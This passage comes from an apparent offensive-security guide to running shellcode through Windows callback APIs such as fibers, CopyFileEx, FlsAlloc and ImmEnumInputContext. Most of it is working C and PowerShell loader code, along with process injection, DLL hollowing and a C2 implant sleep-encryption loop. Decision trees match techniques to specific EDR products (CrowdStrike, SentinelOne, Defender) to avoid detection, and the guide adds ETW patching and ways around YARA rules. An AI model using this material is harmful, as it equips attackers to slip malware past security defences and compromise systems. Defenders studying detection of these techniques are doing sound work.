    RtlMoveMemory(exec_mem, shellcode, sizeof(shellcode));

    // Step 1: Convert current thread into a fiber (required to use fibers)
    LPVOID mainFiber = ConvertThreadToFiber(NULL);
    if (!mainFiber) { printf("[-] ConvertThreadToFiber failed\n"); return 1; }

    // Step 2: Create a new fiber with shellcode as the entry point
    // CreateFiber(stackSize, lpStartAddress, lpParameter)
    LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)exec_mem, NULL);
    if (!shellFiber) { printf("[-] CreateFiber failed\n"); return 1; }

    // Step 3: Switch to the shellcode fiber — shellcode runs!
    SwitchToFiber(shellFiber);

    // Step 4: If shellcode returns control (unlikely for reverse shells)
    DeleteFiber(shellFiber);
    ConvertFiberToThread();
    VirtualFree(exec_mem, 0, MEM_RELEASE);

    return 0;
}

[OPSEC] No new thread is created. No CreateThread events. The shellcode runs in the exact same OS thread. From an OS perspective, only one thread exists.

[DETECT] ConvertThreadToFiber followed by CreateFiber with a non-PE-backed address is a behavioral indicator that modern EDRs detect.


8.2 RtlUserFiberStart

[CALLBACK] DLL: ntdll.dll

What it does: An internal NT function that is the real start of every fiber. Can be used to start execution via the fiber mechanism at the NT level, bypassing the Win32 fiber API.

// Prototype (undocumented):
typedef VOID (NTAPI *pRtlUserFiberStart)();

// RtlUserFiberStart is the internal fiber startup routine in ntdll
// Technique: manipulate a fiber's context (RIP register) to point to shellcode

// Step 1: Create fiber normally (start = dummy function)
LPVOID dummyFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)SomeFunction, NULL);

// Step 2: Get fiber's CONTEXT structure and modify RIP to point to shellcode
PCONTEXT ctx = (PCONTEXT)((PUCHAR)dummyFiber + CONTEXT_OFFSET); // offset varies
ctx->Rip = (DWORD64)exec_mem;  // Redirect execution to shellcode

// Step 3: Switch to fiber — RtlUserFiberStart will jump to our shellcode
ConvertThreadToFiber(NULL);
SwitchToFiber(dummyFiber);

[OPSEC] Direct context manipulation at the NT layer — bypasses Win32 fiber creation API. Very low-level and rarely signatures.

[TOOL] The FiberContextEdit folder in AlternativeShellcodeExec shows exactly how the CONTEXT struct is modified.


9. File & IO Callbacks

What it means: File operation APIs accept progress callbacks — they're meant for copy progress bars and cancellation checks. Your shellcode can substitute as the "progress handler."


9.1 CopyFileEx / CopyFile2

[CALLBACK] DLL: kernel32.dll

What it does: Copies a file with a progress callback. The callback fires periodically during the copy operation. Use the same source and destination to make it a no-op copy (or copy a small file).

#include <windows.h>

unsigned char shellcode[] = { /* shellcode */ };

int main() {
    LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(exec_mem, shellcode, sizeof(shellcode));

    // CopyFileEx: copy a file (use same src/dst or a tiny file)
    // Callback fires at start and during copy
    BOOL cancel = FALSE;
    CopyFileExW(
        L"C:\\Windows\\System32\\notepad.exe",  // source
        L"C:\\Temp\\notepad_copy.exe",           // destination
        (LPPROGRESS_ROUTINE)exec_mem,            // progress callback = shellcode
        NULL,                                    // data parameter
        &cancel,
        COPY_FILE_FAIL_IF_EXISTS
    );
    // Note: The callback fires even if the copy fails early

    VirtualFree(exec_mem, 0, MEM_RELEASE);
    return 0;
}
// CopyFile2 (Vista+):
#include <windows.h>

COPYFILE2_EXTENDED_PARAMETERS params = {0};
params.dwSize = sizeof(params);
params.pProgressRoutine = (PCOPYFILE2_PROGRESS_ROUTINE)exec_mem;

CopyFile2(L"C:\\Windows\\notepad.exe", L"C:\\Temp\\nc.exe", &params);

[OPSEC] File copy with a progress callback looks completely benign. CopyFileEx is used by installers, backup tools, and Windows itself.


9.2 SetupCommitFileQueueW

[CALLBACK] DLL: setupapi.dll

What it does: Commits a file queue used by device/software installation. The callback is a "file copy notification handler" that fires during installation operations.

#include <windows.h>
#include <setupapi.h>

// Prototype:
BOOL SetupCommitFileQueueW(
    HWND Owner,
    HSPFILEQ QueueHandle,
    PSP_FILE_CALLBACK_W MsgHandler,  // ← callback
    PVOID Context
);

// Callback signature:
// UINT CALLBACK proc(PVOID Context, UINT Notification, UINT_PTR Param1, UINT_PTR Param2)

// Example — create empty queue, commit (callback fires immediately):
HSPFILEQ hQueue = SetupOpenFileQueue();
SetupCommitFileQueueW(NULL, hQueue, (PSP_FILE_CALLBACK_W)exec_mem, NULL);
SetupCloseFileQueue(hQueue);
x86_64-w64-mingw32-gcc setup_exec.c -o setup_exec.exe -lsetupapi

[OPSEC] SetupAPI is associated with device driver installation — appears in INF-based installers. Unusual in typical malware.


9.3 ImageGetDigestStream

[CALLBACK] DLL: imagehlp.dll

What it does: Computes a digest of a PE image's content, calling back with each data chunk. Used for PE signing/verification.

#include <windows.h>
#include <imagehlp.h>

// Prototype:
BOOL ImageGetDigestStream(
    HANDLE FileHandle,
    DWORD DigestLevel,
    DIGEST_FUNCTION DigestFunction,  // ← callback
    DIGEST_HANDLE DigestHandle
);
// Callback: BOOL CALLBACK proc(DIGEST_HANDLE refdata, PBYTE pData, DWORD dwLength)

// Example:
HANDLE hFile = CreateFileW(L"C:\\Windows\\System32\\notepad.exe",
    GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);

ImageGetDigestStream(hFile, 0, (DIGEST_FUNCTION)exec_mem, NULL);

CloseHandle(hFile);
x86_64-w64-mingw32-gcc imageDigest_exec.c -o imageDigest_exec.exe -limagehlp

[OPSEC] PE digest callbacks are associated with code signing tools and Authenticode verification. Very niche — extremely low detection.


10. Loader & NT Internals Callbacks

What it means: NT internal mechanisms for module loading, one-time initialization, and fiber-local storage all accept callbacks. These are deep in the Windows internals and less commonly hooked by EDR.


10.1 LdrpCallInitRoutine

[CALLBACK] DLL: ntdll.dll (undocumented internal)

What it does: The internal function that calls DllMain when a DLL is loaded. Can be used to execute shellcode in the context of DLL initialization.

// LdrpCallInitRoutine is NOT exported — must find it by signature scan or offset
// It calls DLL entry points: BOOL WINAPI DllMain(HINSTANCE, DWORD, LPVOID)

// Technique: inject a shellcode-carrying fake DLL entry point via LoadLibrary + patching
// OR: resolve LdrpCallInitRoutine and call it with exec_mem as the routine

// Advanced approach — find LdrpCallInitRoutine via pattern scan:
PVOID FindLdrpCallInitRoutine() {
    PVOID ntdll_base = GetModuleHandle(L"ntdll.dll");
    // Walk exports / scan for known byte pattern
    // Pattern varies by Windows version
    // ...
    return NULL; // depends on implementation
}

// This is highly version-specific and typically used in:
// - Reflective DLL injection
// - DLL hollowing with custom entry points

[OPSEC] Purely NT-internal — no documented Win32 API is called. Rarely appears in malware signatures.


10.2 FlsAlloc (Fiber Local Storage)

[CALLBACK] DLL: kernel32.dll

What it does: Allocates a Fiber Local Storage (FLS) slot with a callback that fires when the fiber is deleted. The destruction callback runs automatically when DeleteFiber or FlsFree is called.

#include <windows.h>

unsigned char shellcode[] = { /* shellcode */ };

// FLS callback — called when FLS slot is freed
// VOID NTAPI FlsCallback(PVOID lpFlsData) — called with the data stored in the slot

int main() {
    LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(exec_mem, shellcode, sizeof(shellcode));

    // Register shellcode as the FLS callback
    DWORD flsIndex = FlsAlloc((PFLS_CALLBACK_FUNCTION)exec_mem);

    // Set a non-NULL value in the slot (callback only fires for non-NULL values)
    FlsSetValue(flsIndex, (PVOID)0xDEADBEEF);

    // When FlsFree is called, the callback fires automatically
    FlsFree(flsIndex);

    // Callback fires → shellcode executes

    VirtualFree(exec_mem, 0, MEM_RELEASE);
    return 0;
}

[OPSEC] FLS destruction callbacks are a clean, single-API trigger. The execution appears to come from FLS cleanup infrastructure.


10.3 InitOnceExecuteOnce

[CALLBACK] DLL: kernel32.dll

What it does: Executes a callback exactly once for one-time initialization. The callback is guaranteed to run exactly once even in multi-threaded scenarios.

#include <windows.h>

unsigned char shellcode[] = { /* shellcode */ };

// INIT_ONCE callback signature:
// BOOL CALLBACK InitOnceCallback(PINIT_ONCE InitOnce, PVOID Parameter, PVOID *Context) → BOOL

int main() {
    LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(exec_mem, shellcode, sizeof(shellcode));

    INIT_ONCE initOnce = INIT_ONCE_STATIC_INIT;
    PVOID context = NULL;

    InitOnceExecuteOnce(&initOnce, (PINIT_ONCE_FN)exec_mem, NULL, &context);

    VirtualFree(exec_mem, 0, MEM_RELEASE);
    return 0;
}

[OPSEC] Initialization-once callbacks are used in DLL_PROCESS_ATTACH and lazy-init patterns throughout Windows. Low suspicion for defensive tools.


11. Debug & Symbol Callbacks

What it means: Debugging and symbol resolution APIs in dbghelp.dll, psapi.dll, and related libraries all accept callbacks for enumerating symbols, processes, and files. These appear in tools like debuggers and profilers.


11.1 OpenThreadWaitChainSession

[CALLBACK] DLL: advapi32.dll

What it does: Opens a Wait Chain Traversal (WCT) session for detecting deadlocks. The callback fires when deadlock analysis results are available.

#include <windows.h>

// Prototype:
HWCT OpenThreadWaitChainSession(DWORD Flags, PWAITCHAINCALLBACK callback);
// Callback: void CALLBACK proc(HWCT WctHandle, DWORD_PTR Context, DWORD CallbackStatus, LPDWORD NodeCount, PWAITCHAIN_NODE_INFO NodeInfoArray, LPBOOL IsCycle)

// Async mode — callback fires when chain traversal completes:
HWCT hWct = OpenThreadWaitChainSession(WCT_ASYNC_OPEN_FLAG, (PWAITCHAINCALLBACK)exec_mem);

// Trigger the callback by requesting a thread's wait chain
WAITCHAIN_NODE_INFO nodes[WCT_MAX_NODE_COUNT];
DWORD nodeCount = WCT_MAX_NODE_COUNT;
BOOL isCycle = FALSE;
GetThreadWaitChain(hWct, 0, WCTP_GETINFO_ALL_FLAGS, GetCurrentThreadId(), &nodeCount, nodes, &isCycle);

Sleep(500);  // Wait for async callback
CloseThreadWaitChainSession(hWct);
x86_64-w64-mingw32-gcc wct_exec.c -o wct_exec.exe -ladvapi32

11.2 SymEnumProcesses / SymFindFileInPath

[CALLBACK] DLL: dbghelp.dll

What it does: SymEnumProcesses enumerates processes with debug symbol information. SymFindFileInPath searches for a file along a symbol search path.

#include <windows.h>
#include <dbghelp.h>

// SymEnumProcesses:
// Callback: BOOL CALLBACK proc(HANDLE hProcess, PVOID UserContext) → BOOL
SymInitialize(GetCurrentProcess(), NULL, FALSE);
SymEnumProcesses((PSYM_ENUMPROCESSES_CALLBACK)exec_mem, NULL);

// SymFindFileInPath:
// Callback: BOOL CALLBACK proc(LPCSTR FilePath, PVOID CallerData) → BOOL
char outPath[MAX_PATH] = {0};
SymFindFileInPath(
    GetCurrentProcess(),
    NULL,               // Search path (NULL = use symbol path)
    "ntdll.pdb",        // Target filename
    NULL, 0, 0, 0,      // GUID, age, sig (NULL = match any)
    outPath,
    (PFINDFILEINPATHCALLBACK)exec_mem,
    NULL
);
x86_64-w64-mingw32-gcc sym_exec.c -o sym_exec.exe -ldbghelp

11.3 SysEnumSourceFiles / VerifierEnumerateResource

[CALLBACK] DLL: dbghelp.dll / verifier.dll

// SysEnumSourceFiles (DbgHelp):
// Enumerates source files used to build a module
// Callback: BOOL CALLBACK proc(PSOURCEFILE pSourceFile, PVOID UserContext)

SymInitialize(GetCurrentProcess(), NULL, TRUE);
SymEnumSourceFiles(GetCurrentProcess(), 0, NULL, (PSYM_ENUMSOURCEFILES_CALLBACK)exec_mem, NULL);


// VerifierEnumerateResource (verifier.dll):
// Enumerates Application Verifier resources
// Requires loading verifier.dll which may trigger AV

typedef ULONG (WINAPI *pVerifierEnumerateResource)(HANDLE, ULONG, ULONG, AVRF_RESOURCE_ENUMERATE_CALLBACK, PVOID);
HMODULE hVerifier = LoadLibrary(L"verifier.dll");
pVerifierEnumerateResource pEnum = (pVerifierEnumerateResource)GetProcAddress(hVerifier, "VerifierEnumerateResource");
pEnum(GetCurrentProcess(), 0, AvrfResourceHeapAllocation, (AVRF_RESOURCE_ENUMERATE_CALLBACK)exec_mem, NULL);

12. IME / Input Callbacks

What it means: Input Method Editor (IME) APIs handle East Asian text input. They include enumeration functions with callbacks that appear in multilingual applications.


12.1 ImmEnumInputContext

[CALLBACK] DLL: imm32.dll

What it does: Enumerates IME input contexts for all windows in the calling thread. Fires callback for each context found.

#include <windows.h>
#include <imm.h>

// Prototype:
BOOL ImmEnumInputContext(DWORD idThread, IMCENUMPROC lpfn, LPARAM lParam);
// Callback: BOOL CALLBACK proc(HIMC hIMC, LPARAM lParam) → BOOL

// Example:
ImmEnumInputContext(0, (IMCENUMPROC)exec_mem, 0);
// idThread=0 enumerates contexts for the current thread
x86_64-w64-mingw32-gcc imm_exec.c -o imm_exec.exe -limm32

[OPSEC] IMM32 APIs are associated with Japanese/Chinese/Korean input. Very uncommon in Western-targeting malware — low detection rate.


13. Technique Chaining & Advanced Patterns

What it means: Real implants don't use a single callback technique in isolation. They chain multiple evasions together — callback execution combined with process injection, indirect syscalls, and staged delivery.

13.1 Callback + Indirect Syscall (Maximum OPSEC)

// Pattern: Allocate via direct syscall → Execute via callback
// Bypasses both memory allocation hooks AND execution hooks

// Step 1: Resolve shellcode (encrypted/staged)
// Step 2: Allocate memory via direct NtAllocateVirtualMemory syscall (bypass hook)
// Step 3: Decrypt shellcode in-memory  
// Step 4: Flip to RX via direct NtProtectVirtualMemory syscall (bypass hook)
// Step 5: Execute via CertEnumSystemStore or EnumSystemLocalesW (no thread creation)

// Tools: SysWhispers3, Hell's Gate, Halo's Gate for syscall resolution
// Example SysWhispers3 integration:
// SW3_NtAllocateVirtualMemory(GetCurrentProcess(), &mem, 0, &sz, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
// memcpy(mem, decrypted_shellcode, sz);
// SW3_NtProtectVirtualMemory(GetCurrentProcess(), &mem, &sz, PAGE_EXECUTE_READ, &old);
// CertEnumSystemStore(CERT_SYSTEM_STORE_LOCAL_MACHINE, NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE)mem);

13.2 Process Injection + Callback

// Inject shellcode into remote process, then trigger via callback in that process
// Avoids creating new threads in remote process (QueueUserAPC is also an option)

// Step 1: Open target process
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);

// Step 2: Allocate RW memory in target
LPVOID remote_mem = VirtualAllocEx(hProc, NULL, sc_len, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);

// Step 3: Write shellcode
WriteProcessMemory(hProc, remote_mem, shellcode, sc_len, NULL);

// Step 4: Flip to RX
DWORD old;
VirtualProtectEx(hProc, remote_mem, sc_len, PAGE_EXECUTE_READ, &old);

// Step 5: Need to execute in context of target process
// Option A: CreateRemoteThread (detectable, but combined with callback inside = staged)
// Option B: APC injection to existing thread
// Option C: Hijack a thread's context (SetThreadContext)

13.3 Sleep Obfuscation + Callback (C2 Implant Pattern)

// Pattern used in modern C2 implants (Cobalt Strike, Havoc, custom):
// Shellcode re-encrypts itself during sleep → decrypts → callback triggers execution

// Sleep encryption loop:
while (1) {
    // Phase 1: Communicate with C2
    receive_task_from_c2();

    // Phase 2: Execute task
    // Use callback technique to execute shellcode for each task
    EnumSystemLocalesW((LOCALE_ENUMPROCW)task_shellcode, LCID_INSTALLED);

    // Phase 3: Sleep with memory encryption
    encrypt_implant_memory();          // AES-encrypt current implant code
    VirtualProtect(implant_base, sz, PAGE_READWRITE, &old);  // Mark non-executable

    Sleep(jitter_sleep(30000));        // Sleep with jitter

    VirtualProtect(implant_base, sz, PAGE_EXECUTE_READ, &old);
    decrypt_implant_memory();          // Restore
    // Continue loop
}

13.4 DLL Hollowing + Callback

// Load a legitimate DLL into memory, overwrite its .text section with shellcode
// Then use a callback to trigger execution at the DLL's base + offset

// Step 1: Load decoy DLL (suspended)
HMODULE hDecoy = LoadLibraryExW(L"amsi.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);

// Step 2: Find writable section (.text is RX by default — need to make it RW)
DWORD old;
VirtualProtect(hDecoy, sc_len, PAGE_EXECUTE_READWRITE, &old);

// Step 3: Overwrite with shellcode
memcpy(hDecoy, shellcode, sc_len);

// Step 4: Restore permissions
VirtualProtect(hDecoy, sc_len, old, &old);

// Step 5: Execute via callback (pointer into "DLL" address space looks legitimate)
EnumWindows((WNDENUMPROC)hDecoy, 0);
// EDR sees callback into amsi.dll address range — looks like a legitimate DLL function

[OPSEC] Module-backed memory (appearing to be inside a loaded DLL) bypasses "non-PE-backed memory" heuristics that many EDR products use.


14. OPSEC Considerations

What it means: Choosing the right callback technique for the environment is as important as the technique itself. OPSEC failure = detection.

OPSEC Decision Matrix:

Are you in a heavily monitored environment (CrowdStrike/SentinelOne)?
│
├─ YES → Avoid: EnumWindows, CreateThread, RWX memory
│        Use:   EnumSystemLocales + direct syscall alloc
│               CertEnumSystemStore + RW→RX flip
│               CreateThreadpoolWait + module-backed shellcode
│               Indirect syscall + sleep encryption
│
└─ NO (Defender only) → Any callback technique works
                         EnumWindows + RW→RX is sufficient

Key OPSEC rules for callback execution:

1. NEVER use PAGE_EXECUTE_READWRITE
   → Use PAGE_READWRITE for allocation, PAGE_EXECUTE_READ after copy
   → Or use HeapCreate(HEAP_CREATE_ENABLE_EXECUTE) if you must

2. Prefer module-backed shellcode locations
   → DLL hollowing, stomped modules, RX sections of loaded DLLs
   → Looks like legitimate code, not heap shellcode

3. Combine with indirect/direct syscalls
   → Bypass VirtualAlloc/VirtualProtect userland hooks
   → SysWhispers3, Hell's Gate, Tartarus' Gate

4. Use less-common callback APIs for high-value targets
   → CryptEnumOIDInfo, ImageGetDigestStream, ImmEnumInputContext
   → EnumPwrSchemes, SetupCommitFileQueueW
   → Novel = not in existing detection rules

5. Clean up after execution
   → VirtualFree if possible (but shellcode that runs reverse shells rarely returns)
   → Zero memory before free (destroy artifacts)

6. Combine with sleep jitter and beacon interval randomization
   → Callbacks fire at predictable intervals = timing-based detection

[OPSEC] If your shellcode doesn't return, none of the cleanup code matters. Design implants so shellcode exits via ExitThread or loops internally — not by returning to the callback dispatcher.


15. Detection Vectors

What it means: Understanding how defenders detect callback execution helps you choose techniques that avoid existing detection rules.

15.1 Memory Heuristics

Detection: Private memory with Execute permission that is not backed by a PE file
Triggers:  Any callback execution where shellcode is in VirtualAlloc'd memory

Bypass:
  → Module stomping / DLL hollowing (shellcode in PE-backed memory)
  → Reflective loading (shellcode masquerades as a loaded module)

15.2 API Call Sequence Analysis

Detection: Behavioral rule: VirtualAlloc(RWX) → EnumWindows → new outbound connection
           OR: VirtualAlloc + VirtualProtect → [callback API] → socket activity

Tools:     CrowdStrike Falcon, SentinelOne STAR rules, Windows Defender ATP
           Microsoft Defender for Endpoint (Process behavioral analysis)

Bypass:
  → Use direct/indirect syscalls for memory ops (bypass API hook)
  → Delay execution (timer callback with 30s delay before C2 connect)
  → Blend callback into legitimate activity (app that legitimately calls EnumFonts)

15.3 ETW (Event Tracing for Windows)

Detection: ETW providers log memory allocations, module loads, thread activity
           Microsoft-Windows-Threat-Intelligence ETW provider (kernel-level)
           Catches: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory

Bypass:
  → ETW patching (risky — tampering with ETW is itself detected)
  → Use existing executable sections (no new alloc events)
  → Encrypted + staged delivery (shellcode decrypted only at last moment)

15.4 Callback API Telemetry

Heavily monitored callbacks:
  EnumWindows           ← Most commonly signature'd
  CreateThread          ← Extremely monitored
  CreateRemoteThread    ← Extremely monitored
  QueueUserAPC          ← Heavily monitored

Less monitored callbacks:
  EnumSystemLocalesW    ← Medium monitoring
  CertEnumSystemStore   ← Low monitoring
  CryptEnumOIDInfo      ← Very low monitoring
  ImmEnumInputContext   ← Very low monitoring
  ImageGetDigestStream  ← Extremely low monitoring
  EnumPwrSchemes        ← Extremely low monitoring
  FlsAlloc destruction  ← Very low monitoring

15.5 YARA Rules (Know What Defenders Use)

// Example YARA detecting common callback pattern:
rule Callback_Shellcode_Exec {
    meta:
        description = "Callback-based shellcode execution loader"
    strings:
        $va = "VirtualAlloc" ascii wide
        $enum1 = "EnumWindows" ascii wide
        $enum2 = "EnumChildWindows" ascii wide
        $enum3 = "EnumSystemLocales" ascii wide
        $rtlmove = "RtlMoveMemory" ascii wide
    condition:
        $va and $rtlmove and any of ($enum*)
}

// Bypass: import APIs dynamically (GetProcAddress + hash)
// → No import table strings for YARA to match

16. Tooling Reference

[TOOL] AlternativeShellcodeExec — https://github.com/aahmad097/AlternativeShellcodeExec The reference repo for callback execution. Contains 50+ techniques in separate Visual Studio projects, all in C++. Build with Visual Studio 2019/2022.

# Clone and build all techniques:
git clone https://github.com/aahmad097/AlternativeShellcodeExec
cd AlternativeShellcodeExec
# Open AlternativeShellcodeExec.sln in Visual Studio
# Build → Build Solution (Ctrl+Shift+B)
# Each folder = one technique = one .exe output

Technique folders in the repo:

CertEnumSystemStore          CopyFileEx               CreateThreadPoolWait
CreateTimerQueueTimer_Tech   CryptEnumOIDInfo          EnumCalendarInfo
EnumCalendarInfoEx           EnumChildWindows          EnumDesktopW
EnumDesktopWindows           EnumDirTreeW              EnumDisplayMonitors
EnumFontFamiliesExW          EnumFontFamiliesW         EnumFontsW
EnumICMProfiles              EnumLanguageGroupLocalesW EnumObjects
EnumPageFilesW               EnumPropsEx               EnumPropsW
EnumPwrSchemes               EnumResourceTypesExW      EnumResourceTypesW
EnumSystemLocales            EnumThreadWindows         EnumTimeFormatsEx
EnumUILanguagesW             EnumWindowStationsW       EnumWindows
EnumerateLoadedModules       FiberContextEdit          FlsAlloc
ImageGetDigestStream         ImmEnumInputContext       InitOnceExecuteOnce
LdrEnumerateLoadedModules    LdrpCallInitRoutine       OpenThreadWaitChainSession
RtlUserFiberStart            SetTimer                  SetupCommitFileQueueW
SymEnumProcesses             SymFindFileInPath         SysEnumSourceFiles
VerifierEnumerateResource    CopyFile2                 CertEnumSystemStoreLocation

[TOOL] SysWhispers3 — https://github.com/klezVirus/SysWhispers3 Generate direct syscall stubs. Combine with callbacks for maximum OPSEC.

python3 syswhispers.py -a x64 -c msvc --function NtAllocateVirtualMemory,NtProtectVirtualMemory -o syscalls
# Produces: syscalls.h + syscalls.c
# Include in your project alongside callback code

[TOOL] ThreatCheck — https://github.com/rasta-mouse/ThreatCheck Identify exactly which bytes of your compiled loader trigger AV.

.\ThreatCheck.exe -f .\callback_loader.exe -e Defender
# Binary searches the file to find the smallest triggering region

[TOOL] Pe-Sieve — https://github.com/hasherezade/pe-sieve Scan a process for anomalous memory regions (implant detection perspective).

pe-sieve.exe /pid <target_pid>
# Shows: shellcode in private memory, hooks, modified PE sections

[TOOL] Moneta — https://github.com/forrest-orr/moneta Live process memory scanner. Finds private RX memory — what your callbacks will look like from a defender's perspective.

.\Moneta64.exe -m ioc -p <pid>
# Flags: Private executable memory, non-PE-backed regions

[TOOL] Process Hacker / System Informer — https://systeminformer.sourceforge.io/ Monitor process memory maps and thread call stacks in real time during testing.

[TOOL] Frida — https://frida.re/ Hook Win32 APIs at runtime to trace exactly which callback API your loader calls.

// Frida script to hook EnumWindows:
Interceptor.attach(Module.getExportByName("user32.dll", "EnumWindows"), {
    onEnter(args) {
        console.log("[EnumWindows] callback ptr:", args[0]);
        // Check if it's in a PE-backed region
    }
});

17. Comparison Matrix

Technique DLL Thread Created OPSEC Rating EDR Attention Reliability Requires Setup
EnumWindows user32 No Low HIGH High No
EnumChildWindows user32 No Medium Medium High No
EnumDesktopWindows user32 No Medium Medium High No
EnumThreadWindows user32 No Medium-High Low Medium No
EnumFontFamiliesExW gdi32 No High Low Very High HDC only
EnumDisplayMonitors user32 No High Low Very High No
EnumSystemLocalesW kernel32 No High Low High No
EnumUILanguagesW kernel32 No High Very Low High No
CertEnumSystemStore crypt32 No Very High Very Low Very High No
CryptEnumOIDInfo crypt32 No Very High Very Low Very High No
SetTimer user32 No High Low Medium Msg loop
CreateTimerQueueTimer kernel32 Thread Pool High Medium High No
CreateThreadpoolWait kernel32 Thread Pool High Medium High Event handle
ConvertThreadToFiber kernel32 No High Medium High Fiber setup
FlsAlloc kernel32 No Very High Very Low High FLS slot
InitOnceExecuteOnce kernel32 No High Low High No
CopyFileEx kernel32 No High Low High File needed
ImageGetDigestStream imagehlp No Excellent Very Low Medium File handle
ImmEnumInputContext imm32 No Excellent Very Low Medium IME context
EnumPwrSchemes powrprof No Excellent Very Low High No
LdrEnumerateLoadedModules ntdll No Very High Very Low High No
OpenThreadWaitChainSession advapi32 No High Low Medium Async trigger

18. Cheat Sheet

Quick Workflow — Callback Shellcode Execution

# Step 1: Generate shellcode
msfvenom -p windows/x64/exec CMD=calc.exe -f c -o shellcode.c
# OR: Use Havoc / Sliver C2 to generate implant shellcode

# Step 2: Encode/encrypt shellcode (see Shellcode Encryption notes)
python3 xor_encode.py payload.bin   # XOR layer
python3 aes_encrypt.py payload.bin  # AES layer

# Step 3: Pick callback technique based on target environment
# Defender only → EnumSystemLocalesW
# CrowdStrike   → CryptEnumOIDInfo + direct syscall alloc
# SentinelOne   → ImageGetDigestStream + module-backed shellcode

# Step 4: Build loader
x86_64-w64-mingw32-gcc loader.c -o loader.exe -luser32 -lkernel32 [extra libs]

# Step 5: Check with ThreatCheck
.\ThreatCheck.exe -f .\loader.exe -e Defender
# If detected → change callback API or encrypt more aggressively

# Step 6: Test in VM before deployment
# Run with Process Hacker to verify memory regions look clean

Callback API Quick Reference

Goal                              API                         DLL
──────────────────────────────────────────────────────────────────
Max compatibility, fast           EnumWindows                 user32
High OPSEC, low EDR               EnumSystemLocalesW          kernel32
Very high OPSEC, cert-adjacent    CertEnumSystemStore         crypt32
Max stealth, crypto context       CryptEnumOIDInfo            crypt32
No thread creation, reliable      EnumFontFamiliesExW         gdi32
Async / timer-based               CreateTimerQueueTimer       kernel32
Thread pool, event-triggered      CreateThreadpoolWait        kernel32
No Win32 API at all (NT internal) LdrEnumerateLoadedModules   ntdll
Fiber-based, same thread          CreateFiber + SwitchToFiber kernel32
Most unusual / lowest detection   ImageGetDigestStream        imagehlp
                                  ImmEnumInputContext         imm32
                                  EnumPwrSchemes              powrprof

Memory Allocation Quick Reference

Protection      OPSEC           How to use
──────────────────────────────────────────────────────────
RWX             Bad             Never in production — EDR triggers immediately
RW → RX         Good            Standard — alloc RW, write, VirtualProtect to RX
Heap (exec)     Medium          HeapCreate(HEAP_CREATE_ENABLE_EXECUTE)
Module-backed   Best            DLL hollowing / module stomping
Direct syscall  Best            NtAllocateVirtualMemory → NtProtectVirtualMemory

DLL Dependency Quick Reference

Technique                   Additional DLL needed
────────────────────────────────────────────────
EnumWindows / EnumChildWindows / etc.   user32.dll
EnumFontFamilies*                       gdi32.dll
CertEnum* / CryptEnum*                  crypt32.dll
EnumPageFilesW                          psapi.dll
EnumDirTreeW / Sym* / Enum* (dbghelp)  dbghelp.dll
EnumPwrSchemes                          powrprof.dll
ImmEnumInputContext                     imm32.dll
SetupCommitFileQueueW                   setupapi.dll
ImageGetDigestStream                    imagehlp.dll
OpenThreadWaitChainSession              advapi32.dll
FlsAlloc / InitOnceExecuteOnce          kernel32.dll (default)
LdrEnumerateLoadedModules               ntdll.dll (default)

PowerShell — Quick Callback PoC (P/Invoke)

# Quick PoC using P/Invoke — enumerate fonts as shellcode trigger
$code = @"
using System;
using System.Runtime.InteropServices;

public class CallbackExec {
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAlloc(IntPtr a, int s, int t, int p);

    [DllImport("kernel32.dll")]
    public static extern bool VirtualProtect(IntPtr a, int s, int p, out int op);

    [DllImport("user32.dll")]
    public static extern bool EnumWindows(IntPtr lp, IntPtr param);

    public static void Run(byte[] sc) {
        IntPtr mem = VirtualAlloc(IntPtr.Zero, sc.Length, 0x3000, 0x04);
        Marshal.Copy(sc, 0, mem, sc.Length);
        int old;
        VirtualProtect(mem, sc.Length, 0x20, out old);  // RX
        EnumWindows(mem, IntPtr.Zero);
    }
}
"@
Add-Type -TypeDefinition $code
$shellcode = [byte[]]@(0xfc, 0x48, ...)  # your shellcode bytes
[CallbackExec]::Run($shellcode)

Decision Tree — Which Callback to Use?

What environment are you targeting?
│
├─ CTF / Lab (no AV/EDR) →
│    EnumWindows + RWX  ← fastest, easiest
│
├─ Windows Defender only →
│    EnumSystemLocalesW + RW→RX flip
│    CertEnumSystemStore
│
├─ Defender ATP / MDE →
│    CryptEnumOIDInfo + direct syscall alloc
│    Module-backed shellcode + EnumFontFamiliesExW
│
├─ CrowdStrike Falcon →
│    LdrEnumerateLoadedModules (NT internal)
│    ImageGetDigestStream + module-stomped shellcode
│    Direct syscall alloc + sleep encryption
│
├─ SentinelOne →
│    ImmEnumInputContext (IME callback — low sig coverage)
│    EnumPwrSchemes (powrprof — very uncommon)
│    FlsAlloc destruction callback
│
├─ Multiple EDRs / Maximum OPSEC →
│    Direct syscall alloc + NtProtectVirtualMemory
│    + Module-stomped shellcode location
│    + CryptEnumOIDInfo or ImageGetDigestStream
│    + Sleep encryption between callbacks
│    + ETW patching (advanced)
│
└─ Custom C2 Development (your own framework) →
     Implement several callback techniques
     Rotate them per-implant or per-campaign
     Use CreateTimerQueueTimer for beacon loops
     Use sleep encryption between callbacks

References & Resources

Primary Reference Repo: - AlternativeShellcodeExec — https://github.com/aahmad097/AlternativeShellcodeExec (50+ C++ implementations)

